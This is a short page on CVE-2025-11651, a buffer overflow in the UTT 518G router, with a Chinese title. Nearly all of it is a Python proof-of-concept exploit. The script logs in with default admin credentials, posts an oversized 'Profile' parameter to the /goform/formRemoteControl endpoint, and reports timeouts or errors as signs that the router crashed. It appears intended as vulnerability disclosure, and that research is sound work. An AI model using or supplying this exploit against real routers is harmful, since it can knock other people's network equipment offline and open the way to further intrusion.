CVE-2025-11651：UTT进取518G路由器远程命令注入缓冲区溢出漏洞

# CVE-2025-11651 PoC - UTT 518G Router Buffer Overflow # Vulnerability: Buffer overflow in sub_4247AC via Profile parameter # Endpoint: /goform/formRemoteControl import requests import sys TARGET = "http://192.168.1.1" # Default router IP, modify as needed AUTH_USER = "admin" AUTH_PASS = "admin" # Default credentials or obtained low-privilege credentials def exploit(target, username, password): """ Exploit buffer overflow in UTT 518G formRemoteControl endpoint. The Profile parameter is not properly validated, allowing buffer overflow. """ session = requests.Session() # Step 1: Authenticate to obtain low-privilege session login_url = f"{target}/goform/login" login_data = { "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Trigger buffer overflow via Profile parameter vuln_url = f"{target}/goform/formRemoteControl" # Malicious payload - oversized Profile parameter to overflow buffer # Adjust payload size based on the buffer length in sub_4247AC payload = "A" * 4096 # Overflow payload overflow_data = { "Profile": payload } print(f"[*] Sending exploit to {vuln_url}") try: response = session.post(vuln_url, data=overflow_data, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 500 or "error" in response.text.lower(): print("[+] Target appears vulnerable (crash detected)") except requests.exceptions.Timeout: print("[+] Target appears vulnerable (timeout/crash detected)") except requests.exceptions.ConnectionError: print("[+] Target appears vulnerable (connection refused - crash)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET exploit(target, AUTH_USER, AUTH_PASS)